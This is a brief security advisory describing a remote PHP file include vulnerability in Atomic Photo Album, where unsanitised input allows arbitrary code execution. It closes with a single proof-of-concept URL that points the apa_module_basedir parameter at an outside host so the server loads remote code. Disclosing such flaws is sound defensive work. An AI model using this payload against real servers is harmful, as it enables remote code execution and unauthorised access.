source: https://www.securityfocus.com/bid/14368/info

Atomic Photo Album is susceptible to a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/apa_phpinclude.inc.php?apa_module_basedir=http://www.example.com/